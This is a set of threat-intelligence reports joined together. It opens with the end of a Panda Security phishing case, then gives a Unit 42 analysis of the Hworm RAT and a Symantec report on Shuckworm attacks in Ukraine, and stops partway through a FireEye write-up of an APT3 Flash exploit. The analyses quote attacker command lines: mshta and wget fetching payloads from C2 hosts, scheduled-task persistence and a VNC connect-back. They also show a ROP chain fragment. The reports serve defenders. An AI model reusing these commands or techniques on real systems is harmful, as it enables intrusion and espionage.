This information could also be false, but the fact that whoever opened the account was familiar with that name meant that they were from Nigeria themselves or knew the country very well.
Then came the email address.
This was the only element that we knew for sure had to be real and valid, as it is the address at which users receive the service activation message, password reset messages, etc.
In this case it was a Gmail address: 5gmail.com The password was unknown, they hadnt used the same one as for the FTP service.
We took the 9 characters that made up the email address and started combining them to see if we could form an alias, a first name, a last name or similar.
And we got it.
We googled what looked like a first name and last name and got a hit.
It was the name of a person with Nigerian nationality  and Twitter, Facebook and LinkedIn accounts, which allowed us to obtain some more information about him.
All those accounts belonged to a person living in... Ikeja and who is the owner of a goods transport company.
Ikeja ????????
?
5gmail.com Too many coincidences.
So, even though all the evidence seems to indicate that this is the person responsible for the attack, there is no way for us to prove it.
It would require the police to launch an investigation and obtain information about the FTP connections, etc.,
in order to get the IP address of the person who signed up to the service and find the culprit.
pandasecurity.com pandalabs Conclusion With all the information we had in our hands, the idea of what to do next was clear: inform the police so that they could start an investigation and apprehend whomever was responsible for the hack.
Since one the affected companies was from Spain, we contacted the Spanish Civil Guard, a police force that we have collaborated with in the past and which has a very good reputation in the fight against cyber-crime.
Unfortunately, they face a difficult-to-solve problem: to start an investigation they need a victim who reports the crime.
It looks simple, but it isnt: none of the victims of this attack is willing to report it.
Why?
If our theory is correct, the information stolen from these companies has not been used against them, but to defraud other people, oil buyers.
It is for that reason that the companies which have had their credentials compromised prefer not to report the attack for fear of having their name in the spotlight.
They prefer to keep a low profile, change their credentials and continue to operate just as if nothing had happened.
Some countries have laws that force companies to report every hacking intrusion where information is stolen.
However, that obligation is usually limited to incidents in which the stolen information belongs to a third party (customers, partners, etc.
).
In this case, the stolen credentials belonged to the company under attack, which therefore is not forced by law to report the theft.
We started this article by calling this case The Phantom Menace, due to the nature of the attack and the absence of malware to perpetrate it.
Continuing with the homage to Star Wars, it is time to move on to The Force Awakens: all major companies must awake to their vulnerability and realize that absolute security doesnt exist and behavior-based protection is limited.
They need to go one step further, performing regular audits in order to assess and address potential weaknesses in their network security.
Despite traditional security solutions are still a necessity, they are no longer enough.
It is important to understand that our defense systems must adapt to the level of attack received, and so it is necessary to implement new protection strategies that give organizations total control and visibility over their networks.
The companies like Black Gold usually prefer not to demand this kind of attacks in order keep them in anonymity.
pandasecurity.com pandalabs pandasecurity.com labspanda This article in whole or in part may not be duplicated, reproduced, stored in a retrieval system or retransmitted without prior written permission of Panda Security.
Panda Security 2015.
All Rights Reserved.
Houdinis Magic Reappearance researchcenter.paloaltonetworks.com /2016/10/unit42-houdinis-magic-reappearance/ By Anthony Kasza and Esmid Idrizovic Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks.
This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor.
Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.
Deconstructing the Threats: The investigation into this malware began while searching through WildFire execution reports within AutoFocus.
Looking for newly submitted malicious samples with no family label, a unique mutex surfaced, RCSTEST.
Pivoting around the creation of this mutex, as well as other dynamic behaviors, a group of samples slowly began to emerge.
The group of samples has common delivery mechanisms, lures and decoy file themes, payloads (Hworm), as well as control infrastructure.
Samples from this attack came in the form of SFX files.
The original filenames of these delivery files are related to political figures and groups in the Middle East and the Mediterranean.
They include: Mohamed Dahlan Abu Dhabi Meeting.exe .exe .exe .scr .exe .scr When executed each SFX file opens a decoy document, video, or URL, and eventually executes an Hworm payload in the background.
The decoy files are similarly themed when compared to the above delivery file names.
Figure 1 shows a screenshot from a video one sample opens as a decoy.
1/13 http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/ https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/wildfire https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/autofocus http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_3.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_4.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_5.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_6.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_7.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_8.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_9.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_10.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_11.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_12.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_13.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_14.png Figure 1 Decoy video Another sample displays a YouTube video by dropping a .url shortcut and opening it using the systems default web browser.
Figure 2 illustrates the .url file contents: Figure 2 .url file 2/13 When the .url file is opened, the above YouTube video is displayed as a decoy.
It is unclear at this time if the uploader of this video has any relation to this particular attack Besides decoys, the samples also execute Hworm payloads, all of which are packed.
Each Hworm payload created a unique mutex (while some SFX files delivered the same Hworm payload).
All of the samples beaconed to one of three network locations as shown in Figure 3: 3/13 Figure 3 C2 Infrastructure While prior reports on Hworm have been published, we were unable to identify any report detailing this particular version of Hworm.
Some previous versions would embed AutoIT scripts in resource sections of PE files while others would execute obfuscated VBS scripts.
Some previous versions of the Hworm implant would embed data in the headers of HTTP requests or POST bodies as a method of command and control.
Beacons of that HTTP protocol example are easily recognized by the use of  as a delimiter and the URI of the request.
This new version of Hworm uses a mixed binary and ASCII protocol over TCP.
Figure 4 is a packet capture of the protocol used by Hworm samples in this attack.
It includes the string new_houdini, the mutex used by the implant, the name of the user, the operating system version, the version of the implant, and the name of the foreground process: 4/13 https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html Figure 4 Packet capture of new communications protocol During the investigation of this malware a forum post on dev-point[.
]com, an Arabic speaking technology and security forum, by a user with the handle Houdini, outlined plans for a rewrite of a backdoor in Delphi.
This post occurred around July 2015.
Around October 2015, a password protected beta version of the builder used to create Delphi Hworm implants (a4c71f862757e3535b305a14ff9f268e6cf196b2e54b426f25fa65bf658a9242) was uploaded to VirusTotal.
Unfortunately, the builder used to create the samples outlined in the above attack was not located.
Unit 42 believes the samples used in the above attack are a version which were released after the beta.
Analyzing the Hworm Malcode: Upon configuring and building a server, the builder prompts the user to save a VBS file and modifies a stub file to create the implant.
The VBS file is used to load and inject the implant.
It appears that the operators behind the above attack either chose to not use the VBS loader or the newer versions of the builder no longer produce a VBS script.
The VBS Loader: The script contains three files encoded in base64.
The first file is DynamicWrapperX (DCOM_DATA), the second file is the RunPE shellcode (LOADER_DATA), and the third file is the file which gets injected into host process (FILE_DATA).
DynamicWrapperX provides access to all Windows APIs from a Visual Basic Script providing a wide range of functionality to this VBS script.
5/13 http://www.script-coding.com/dynwrapx_eng.html The configuration of the script is at the beginning of the file (Figure 5).
Figure 5 Script configuration section In the above example, the script will use the registry as a startup method, it will drop itself into the systems appdata directory using the filename myhworm.exe and it will inject itself into svchost.exe.
As the script executes it first adds one of three startup methods which will execute the script on Windows startup: 1 2 3 4 5 6 7 8 9 10 Registry Run in HKCU Path: HKCU\Software\Microsoft\Windows\CurrentVersion\Run EntryData Wscript.exe //b //e:vbscript /b Specifies batch mode, which does not display alerts, scripting errors, or input prompts.
/e Specifies the engine that is used to run the script.
Define startup directory Startup task (not implemented yet) Following the installation of persistence, the script checks if the current environment is WOW64.
If so, the script will execute: 1 windir\syswow64\wscript.exe /b /e:vbscript filepath The script then drops DynamicWrapperX in the configured installation directory with file extension .bin.
1 installdir\filename.bin It will then register DynamicWrapperX: 1 regsvr32.exe /I /S filename_dynamic_wrapperx 6/13 Next, the script will load the registered object: 1 set DCOM  CreateObject(DYNAMICWRAPPERX) It registers /load VirtualAlloc and CallWindowProcW as functions which can be directly called in the script using dcom.
VirtualAlloc arguments.
Using VirtualAlloc it will allocate new memory and copy RunPE shellcode (LOADER_DATA, loader.hex) and the to- be-injected binary (FILE_DATA) into memory.
Using CallWindowProcW the script will jump to the RunPE shellcode and the shellcode will inject the file (FILE_DATA) into the host process.
The host process is by default svchost.exe but for .NET files injection can occur into the file: 1 windir\Microsoft.
Net\Framework\v2.0.50727\msbuild.exe Figure 6 shows the main routine of the script: 7/13 Figure 6 Main routine Figure 7shows a hex dump of LOADER_DATA (RunPE shellcode): Figure 7 Hex dump of LOADER_DATA Similarities in comments and coding styles between previous versions of the Hworm VBS script and the VBS script provided in this beta builder can be seen in Figure 1.
Top is the VBS file from the HTTP version of Hworm, compared with the VBS script produced by the beta builder of Hworm (below).
8/13 9/13 Figure 8 Similarities between HWorm versions The Beta Server: The main server which the builder produces is developed in Delphi and is not encrypted.
Unit 42 has seen variants packed with VMProtect and ASPack.
In some versions of the Delphi Hworm implants discovered (unpacked beta versions) the settings are stored in the resource section RCData\CONFIG and are in clear text (Figure 9).
10/13 Figure 9 Settings Some versions also have an unfinished PE spreader in the resource section (a65fd78951590833904bd27783b1032b7cc575220a12c6d6f44cb09061999af3).
The spreader will terminate all running processes named sm?rtp.exe and execute a VBS file using wscript.exe: 1 wscript.exe /e:vbscript current directory\RECYCLE.BIN\u vbs name here.
Figure 10 Spreader 11/13 The server exports some unused functions (they all just have RET instruction).
We have seen wrom.exe and server.exe used as the name in the export table (Figure 11).
Figure 11 Export table The author used the open source library Indy Components for network communication.
They also used BTMemoryModule to load DLLs from memory (without saving it on the disc).
The Hworm implants use a connect-back communication.
This means the server (implant) connects back to the client (remotely controlling system).
It also has some modules implemented in the server and each module uses its own socket for communication (on the same port defined in the configuration).
The following modules provide features of this malware: Screenshot: Provides the ability to capture screenshots in JPEG/BMP formats Keylogger: Provides the ability to log key strokes Internet IO: Provides the ability to download and execute files from the internet.
It also provides the ability to load the executables via the RunPE technique File Manager: Provides the ability to list files and directories, delete, rename, and execute files, and upload or download files via TCP or HTTP Password: Provides the ability to steal passwords from Firefox, Opera, and Chrome browsers Misc: Provides the ability to list processes or modules and kill running processes USB Notifier: Provides the ability to notify the controller when a USB device is attached Houdini Client: Provides the main client, which contains the servers configuration.
Final Thoughts: The similarities in coding styles and features of the server, as well as languages and handles used by the author of 12/13 the malware, lead us to believe the beta builder is a version of Hworm which was created somewhere between the HTTP version and the version used in the above outlined attack.
As this RAT can be found online in semi-public locations it is possible the malware is used by both surgical threat actors as well as within casual compromises.
The above attack is only one such campaign Unit 42 has discovered using the Delphi versions of Hworm.
Palo Alto Networks customers can use AutoFocus to find all versions of Hworm samples using the Hworm tag.
Indicators: Delphi Hworm Beta Builder a4c71f862757e3535b305a14ff9f268e6cf196b2e54b426f25fa65bf658a9242 Delivery Files 70c55fef53fd4bdeb135ed68a7eead45e8d4ba7d17e0fd907e9770b2793b60ed 9af85e46344dadf1467c71d66865c7af98a23151025e7d8993bd9afc5150ad7d 773716bc2d313e17326471289a0b552f90086a2687fa958ef8cdb611cbc9a8c9 e0db0982c437c40ceb67970e0a776e9448f428e919200b5f7a0566c58680070c 1f45e5eca8f8882481b13fd4a67ffa88a1aa4d6e875a9c2e1fbf0b80e92d9588 5e42e61340942fc0c46a6668a7f54adbbb4792b01c819bcd3047e855116ae16f fec925721b6563fec32d7a4cf8df777c647f0e24454fa783569f65cdadff9e03 106934ff7f6f93a371a4561fff23d69e6783512c38126fbd427ed4a886ca6e65 ba739f3f415efe005fbed6fcfcb1e6d3b3ae64e9a8d2b0566ab913f73530887c 0672e47513aefcbc3f7a9bd50849acf507a5454bc8c36580304105479c58772a Payloads 386057a265619c43ef245857b66241a66822061ce9bd047556c4f3f1d262ef36 44b52baf2ecef2f928a13b17ba3a5552c32ca4a640e6421b8bc35ef5a113801b 8428857b0c7dfe43cf2182dd585dfdfd845697a11c31e91d909dc400222b4f78 d69e0456ddb11b979bf303b8bb9f87322bd2a9542dd9d9f716100c40bd6decd1 bd5d64234e1ac87955f1d86ee1af34bd8fd11e8edf3a449181234bb62816acab 774501f3c88ebdd409ec318d08af2350ec37fdbc11f32681f855e215e75440d7 c66b9e8aaa2ac4ce5b53b45ebb661ba7946f5b82e75865ae9e98510caff911a7 Decoy files 7916ca6ae6fdbfb45448f6dcff374d072d988d11aa15247a88167bf973ee2c0d 947d264a413f3353c43dafa0fd918bec75e8752a953b50843bc8134286d6f93f 9ddf2f2e6ac7da61c04c03f3f27af12cb85e096746f120235724a4ed93fac5aa 3d287cce7fe1caa5c033a4e6b94680c90a25cb3866837266130ba0fd8fab562c 444b82caf3c17ea74034c984aeca0f5b2e6547af88a0fb15953f2d5b80e3b448 3d3db84b6ad760540f638713e3f6a8daf8a226bd045351bcc72c6d22a7df8b3a fffda1e2d794a5645f973900083a88ef38c3d20a89c5e59ca21412806db28197 Command and Control Network Locations start.loginto[.
]me samah.sytes[.
]net 52.42.161[.
]75 78.47.96[.
]17 136.243.104[.
]200 13/13 Houdinis Magic Reappearance Deconstructing the Threats: Analyzing the Hworm Malcode: The VBS Loader: The Beta Server: Final Thoughts: Indicators:
1/8 Shuckworm Continues Cyber-Espionage Attacks Against Ukraine symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine The Russia-linked Shuckworm group (aka Gamaredon, Armageddon) is continuing to conduct cyber-espionage attacks against targets in Ukraine.
Over the course of recent months, Symantecs Threat Hunter Team, a part of Broadcom Software, has found evidence of attempted attacks against a number of organizations in the country.
Active since at least 2013, Shuckworm specializes in cyber-espionage campaigns mainly against entities in Ukraine.
The group is known to use phishing emails to distribute either freely available remote access tools, including Remote Manipulator System (RMS) and UltraVNC, or customized malware called Pterodo/Pteranodon to targets.
A recent report published by The Security Service of Ukraine (SSU) noted that Shuckworms attacks have grown in sophistication in recent times, with attackers now using living-off-the-land tools to steal credentials and move laterally on victim networks.
Recent activity seen by Symantec is consistent with that documented by SSU.
Shuckworm activity: Case study Symantec observed Shuckworm activity on an organization in Ukraine, which began on July 14, 2021 and continued until August 18, 2021.
The attack chain began with a malicious document, likely sent via a phishing email, which was opened by the user of the infected machine.
The following is a breakdown of the attackers activity on the compromised computer.
July 14 At 08:48 (local-time), a suspicious Word document is opened on the machine.
Just five minutes after the document is opened, a suspicious command is also executed to launch a malicious VBS file (depended.lnk).
This file is a known custom backdoor leveraged by Shuckworm (aka Pterodo).
wscript.exe CSIDL_PROFILE\searches\depended.lnk //e:VBScript //b The backdoor is used to download and execute CSIDL_PROFILE\searches\depended.exe (94a78d5dce553832d61b59e0dda9ef2c33c10634ba4af3acb7fb7cf43be17a5b) from hxxp://92.242.62.131/wordpress.php?is[REDACTED].
Two additional VBS scripts are observed being executed via depended.exe: CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\roaming\reflect.rar //e:VBScript //b https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine https://software.broadcom.com/ https://ssu.gov.ua/uploads/files/DKIB/Technical20report20Armagedon.pdf 2/8 CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\deep- thoughted.
//e:VBScript //b A scheduled task is then created to likely ensure persistence between system reboots and to execute the dropped script.
This ensures the VBS file deep-thoughted.ppt is executed every 10 minutes: SCHTASKS /CREATE /sc minute /mo 10 /tn deep-thoughted /tr wscript.exe CSIDL_COMMON_PICTURES\deep-thoughted.ppt //e:VBScript //b /F Later, the attackers are observed executing an HTA file hosted on a remote server by abusing mshta.exe via depended.exe.
The Mshta utility can execute Microsoft HTML Application (HTA) files and can be abused to bypass application control solutions.
Since mshta.exe executes outside of Internet Explorers security context, it also bypasses browser security settings.
CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM\mshta.exe hxxp://fiordan.ru/FILM.html /f id[REDACTED] At the same time, a new variant of Pterodo is installed via depended.exe.
Similarly to before, two additional scheduled tasks are created: CSIDL_SYSTEM\schtasks.exe /CREATE /sc minute /mo 12 /tn MediaConverter /tr wscript.exe  CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b  /F CSIDL_SYSTEM\schtasks.exe /CREATE /sc minute /mo 12 /tn VideoHostName /tr wscript.exe  CSIDL_COMMON_VIDEO\webmedia.m3u //e:VBScript //b  /F The attackers continue to install variants of their backdoor and execute commands via scripts to ensure persistence: CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\22333.docx //e:VBScript //b CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\9140.d //e:VBScript //b wscript.exe CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr wscript.exe C:\Users\o.korol\AppData\Roaming\battery\battery.dat //e:VBScript //b CSIDL_SYSTEM\cmd.exe /c CSIDL_PROFILE\appdata\roaming\battery\battery.cmd Directly after this, it appears the attackers test connectivity to a new CC server via ping.exe: CSIDL_SYSTEM\cmd.exe /c ping -n 1 arianat.ru 3/8 Once the connection is confirmed to be active, the attackers proceed to download another variant of their Pterodo backdoor and begin using the new CC to download additional scripts and tools, as well as creating scheduled tasks to run every few minutes.
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\12382.
//e:VBScript //b CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7- ZIP.html /f id?,?
CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7-ZIP.html /f id?,?
CSIDL_SYSTEM\schtasks.exe /CREATE /sc minute /mo 12 /tn MediaConverter /tr wscript.exe  CSIDL_COMMON_MUSIC\mediatv.mov //e:VBScript //b  /F CSIDL_SYSTEM\schtasks.exe /CREATE /sc minute /mo 12 /tn VideoHostName /tr wscript.exe  CSIDL_COMMON_VIDEO\videotv.m3u //e:VBScript //b  /F At this point, the attackers cease activity.
However, we continue to see commands being executed from the scheduled tasks for the remainder of July 14.
July 16 At 05:28, the attackers return, and several additional variants of Pterodo are executed via CSIDL_COMMON_VIDEO\planeta.exe (1ea3881d5d03214d6b7e37fb7b10221ef51782080a24cc3e275f42a3c1ea99c1).
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\32440.docx //e:VBScript //b CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\20507.d //e:VBScript //b The attackers are then observed executing commands via planeta.exe: CSIDL_SYSTEM\cmd.exe /c CSIDL_PROFILE\appdata\local\temp\7zsfx000.
CSIDL_SYSTEM\cmd.exe /c ipconfig /flushdns The above flushdns command may indicate that the attackers have updated the DNS records for their CCs, as we observed some of their tools use hard-coded domains.
In this particular instance, the flushdns command was executed shortly before the attackers attempted to install additional backdoors that leveraged the same CC.
July 28 Later, another variant ofPterodo (deep-sided.fly) was executed and was used to download and execute a new file called deerskin.exe (ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29).
This file is a 4/8 dropper for a VNC client.
When executed, it pings google DNS (8.8.8.8) to test internet connectivity, then proceeds to drop a VNC client and establishes a connection to a remote CC server controlled by the attackers: USERPROFILE\Contacts\DriversHood.exe -autoreconnect -id:2097 -connect mucoris.ru:5612 Two such files have been identified that perform the same actions: 1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29 This VNC client appears to be the ultimate payload for this attack.
Between July 29 and August 18 activity continued whereby we observed the attackers deploying multiple variants of their custom VBS backdoor along with executing VBS scripts and creating scheduled tasks similar to the ones detailed above.
After August 18, no further suspicious activity was observed on this machine.
During the course of this investigation, specifically post VNC client installation, a number of documents were opened from various locations on the compromised machine.
It is unclear if this was legitimate user activity or the activity of the attackers attempting to collect and exfiltrate sensitive information.
Titles of the documents accessed ranged from job descriptions to sensitive information pertaining to the targeted organization.
Technical descriptions Symantec investigations uncovered a total of seven files used by Shuckworm in recent attacks.
All seven files are 7-zip SFX self-extracting binaries, a format used previously in Shuckworm attacks.
descend.exe Upon execution, the file named descend.exe (0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137) drops a VBS file which, in turn, drops a second VBS file in the following locations: USERPROFILE\Downloads\deerbrook.ppt PUBLIC\Pictures\deerbrook.ppt It then creates the following task: SCHTASKS /CREATE /sc minute /mo 11 /tn deerbrook /tr wscript.exe DROPPED_FOLDER\deerbrook.ppt //e:VBScript //b /F 5/8 The file deerbrook.ppt (b46e872375b3c910fb589ab75bf130f7e276c4bcd913705a140ac76d9d373c9e) VBS file contacts a command-and-control (CC) server at deep-pitched.enarto.ru.
If the CC server is available, a HTTP POST request is sent to download a payload, which is saved in the USERPROFILE folder as deep-sunken.tmp then renamed to deep-sunken.exe and executed.
The binary is then deleted.
deep-sunken.exe Upon execution, the file deep-sunken.exe (02c41bddd087522ce60f9376e499dcee6259853dcb50ddad70cb3ef8dd77c200) drops the following files on the compromised computer: APPDATA\baby\baby.cmd APPDATA\baby\baby.dat APPDATA\baby\basement.exe (wget binary) APPDATA\baby\vb_baby.vbs It then creates the following task: schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr wscript.exe [APPDATA]\baby\baby.dat //e:VBScript //b It then connects to a CC server (arianat.ru) to download another payload using wget: basement.exe --user-agentMozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.64:: [VICTIM_ID]::/.beagle/.
-q -b -c -t 2 hxxp://arianat.ru/baby.php -P [APPDATA]\baby The baby.dat file is a VBS file that executes baby.cmd, which then downloads and executes the payload from the CC server.
The vb_baby.vbs file renames the downloaded payload from baby.php to backed.exe.
The downloaded payload (backed.exe) could not be retrieved.
However, the following files were also obtained during our investigation: z4z05jn4.egf.exe The file z4z05jn4.egf.exe (fd9a9dd9c73088d1ffdea85540ee671d8abb6b5ab37d66a760b2350951c784d0) is similar to the previous file (deep-sunken.exe) but with different folders, file names, and CC server (iruto.ru).
defiant.exe 6/8 Once executed, the file defiant.exe (a20e38bacc979a5aa18f1954df1a2c0558ba23cdc1503af0ad1021c330f1e455) drops a VBS file in the following locations: TEMP\\deep-versed.nls PUBLIC\Pictures\deep-versed.nls It then creates the following task: SCHTASKS /CREATE /sc minute /mo 12 /tn \deep-versed\ /tr \wscript.exe \ [PUBLIC]\\Pictures\\deep-versed.nls\ //e:VBScript //b\ /F The dropped file deep-versed.nls (817901df616c77dd1e5694e3d75aebb3a52464c23a06820517108c74edd07fbc) downloads a payload from a CC server (deep-toned.chehalo.ru) and saves it as deep-green.exe in the following location: PUBLIC\Downloads deep-green.exe The file deep-green.exe (1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f) contains an UltraVNC binary, which upon execution connects to a repeater (mucoris.ru:5612) using the following command line: -autoreconnect -id:RANDOM -connect mucoris.ru:5612 UltraVNC is an open-source remote-administration/remote-desktop-software utility.
deep-green.exe A second file named deep-green.exe (f6c56a51c1f0139036e80a517a6634d4d87d05cce17c4ca5adc1055b42bf03aa) contain a Process Explorer (procexp) binary.
Process Explorer is a freeware task manager and system monitor for Microsoft Windows.
deep-green.exe A third file called deep-green.exe (de5a53a3b75e3e730755af09e3cacb7e6d171fc9b1853a7200e5dfb9044ab20a) is similar to descend.exe (0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137) just with different file names and CC server (deer-lick.chehalo.ru).
deep-green.exe 7/8 The fourth and final file named deep-green.exe (d15a7e69769f4727f7b522995a17a0206ac9450cfb0dfe1fc98fd32272ee5ba7) drops a VBS file in the following location: PUBLIC\Music\ It then creates the following task: /CREATE /sc minute /mo 12 /tn \MediaConverter\ /tr \wscript.exe \C:\\Users\\Public\\Music\\MediaConvertor.dat\ //e:VBScript //b \ /F The MediaConvertor.dat file searches for removable drives and creates a .lnk file with the following command: mshta.exe hxxp://PLAZMA.VIBER.ontroma.ru/PLAZMA.html /f idJanuary IOC patterns Analysis of the many indicators of compromise (IOCs) uncovered during our investigations have revealed the following patterns, which may be of use when defending networks from Shuckworm attacks: Most URL CC IPs belong to the short list of hosting providers listed in the SSU report, namely AS9123 TimeWeb Ltd. (Russia).
Most discovered suspected CC URLs are IP-based URLs and use a unique URI structure: http  IP  /some-word.php?some-word1-integer,5-7-rand- alphanums OR http  IP  /some-word.php?some-word1-integer,5-7-rand- alphanums-2-integers Most suspected malicious files are found in one of a short list of directories: csidl_profile\links csidl_profile\searches CSIDL_PROFILE\appdata\local\temp\ CSIDL_PROFILE\ 8/8 Nearly all the suspected malicious files are made up of a word beginning with the letter d and a few are composed of two words separated by a - (first word also starting with d).
Examples include: deceive.exe deceived.exe deception.exe deceptive.exe decide.exe decided.exe decipher.exe decisive.exe deep-sunken.exe deep-vaulted.exe Detected command lines are simple and consist of just the binary path  name no switches, etc.
Many suspected malicious files have unknown parent process hashes, none of which have available information.
According to a November 2021 report from the SSU, since 2014 the Shuckworm group has been responsible for over 5,000 attacks against more than 1,500 Ukrainian government systems.
As evidenced by Symantecs recent investigations into attempted Shuckworm attacks against a number of organizations in Ukraine, this activity shows little sign of abating.
The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
https://ssu.gov.ua/en/novyny/sbu-vstanovyla-khakeriv-fsb-yaki-zdiisnyly-ponad-5-tys-kiberatak-na-derzhavni-orhany-ukrainy
APT3 The China-based threat group FireEye tracks as APT3, aka UPS, is responsible for this exploit and the activity identified in our previous blog post, Operation Clandestine Fox.
This group is one of the more sophisticated threat groups that FireEye Threat Intelligence tracks, and they have a history of introducing new browser-based zero-day exploits (e.g., Internet Explorer, Firefox, and Adobe Flash Player).
After successfully exploiting a target host, this group will quickly dump credentials, move laterally to additional hosts, and install custom backdoors.
APT3s command and control (CnC) infrastructure is difficult to track, as there is little overlap across campaigns.
Activity Overview In the last several weeks, APT3 actors launched a large-scale phishing campaign against organizations in the following industries: Aerospace and Defense Construction and Engineering High Tech Telecommunications Transportation Upon clicking the URLs provided in the phishing emails, targets were redirected to a compromised server hosting JavaScript profiling scripts.
Once a target host was profiled, victims downloaded a malicious Adobe Flash Player SWF file and an FLV file, detailed below.
This ultimately resulted in a custom backdoor known as SHOTPUT, detected by FireEye as Backdoor.
APT.CookieCutter, being delivered to the victims system.
The payload is obscured using xor encoding and appended to a valid GIF file.
Attack Vector The phishing emails used by APT3 during this campaign were extremely generic in nature, almost appearing to be spam.
An example email body: Save between 200-450 by purchasing an Apple Certified Refurbished iMac through this link.
Refurbished iMacs come with the same 1-year extendable warranty as new iMacs.
Supplies are limited, but update frequently.
Dont hesitate .
.
.Go to Sale The string Go to Sale was a link that used the following URL structure: hxxp://subdomain.legitdomain.
TLD/directory/alphanumericID.html Exploit Details The attack exploits an unpatched vulnerability in the way Adobe Flash Player parses Flash Video (FLV) files.
The exploit uses common vector corruption techniques to bypass Address Space Layout Randomization (ASLR), and uses Return-Oriented Programming (ROP) to bypass Data Execution Prevention (DEP).
A neat trick to their ROP technique makes it simpler to exploit and will evade some ROP detection techniques.
Shellcode is stored in the packed Adobe Flash Player exploit file alongside a key used for its decryption.
The payload is xor encoded and hidden inside an image.
Exploit Packaging The Adobe Flash Player exploit is packed with a simple RC4 packer.
The RC4 key and ciphertext are BinaryData blobs that the packer uses to decrypt the layer 2 Adobe Flash Player file.
Once decrypted, layer 2 is executed with loader.loadBytes.
Vector Corruption Layer 2 uses a classic Adobe Flash Player Vector corruption technique to develop its heap corruption vulnerability to a full relative read/write available to ActionScript3.
In this technique, the attacker sprays Adobe Flash Player Vectors to the heap, and triggers a write vulnerability to change the size of one of the vectors.
The attacker can then perform subsequent reads and writes to memory outside the intended boundaries of the corrupted Vector object from AS3.
For more details on this technique, see Flash in 2015.
Once the attacker has limited read/write access to memory, they choose to corrupt a second Vector to increase their access to a range of 0x3fffffff bytes.
This second Vector is used for the remainder of the exploit.
Return-Oriented Programming The attackers use a ROP chain to call kernel32VirtualAlloc to mark their shellcode as executable before jumping to their shellcode.
Instead of writing their ROP chain to the heap along with their shellcode and payload, they used a different technique.
Usually, exploit developers will corrupt a built-in Adobe Flash Player object such as a Sound object.
Instead, the attackers chose to define their own class in AS3 with a function that takes a lot of arguments: class CustomClass public function victimFunction(arg1:uint, arg2:uint, , arg80:uint):uint  Then, the attackers can simply overwrite the function pointer with a gadget that adds to the stack pointer and returns to pivot to ROP.
They have no need to identify the absolute address of the ROP chain and preserve it in a register for a typical xchg reg32, esp pivot.
Additionally, storing the ROP chain on the stack will evade ROP detection mechanisms designed around detecting when the stack pointer points outside of a threads stack region.
this.customObj.victimFunction( 6f73b68b, // ret (ROPsled) , 6f73b68a, //pop eax 1f140100, 6fd36da1, //call Kernel32VirtualAlloc(0x1f140000, 0x10000, 0x1000, 0x40) 1f140000, // Address 00010000, // Size 00001000, // Type 00000040, // Protection  RWX 6f73b68b9 // ret (ROPsled) 6fd36da72 // ret 6f73aff0 pop ecx 6fd36da7 6fd36da7 jmp [eax]  ) this.customObj.victimFunction pointer modified to: 000000006de533dc 5e pop rsi 000000006de533dd 83c448 add esp,48h 000000006de533e0 c3 ret Lastly, the ROP chain has a ROPsled following the call to VirtualAlloc.
This could just be an artifact of development, or it could be designed to bypass detection mechanisms that test for valid return addresses up to a limited depth at calls to VirtualAlloc.
Full Exploit Flow 1.
Create a new Video object 2.
Fetch the payload 3.
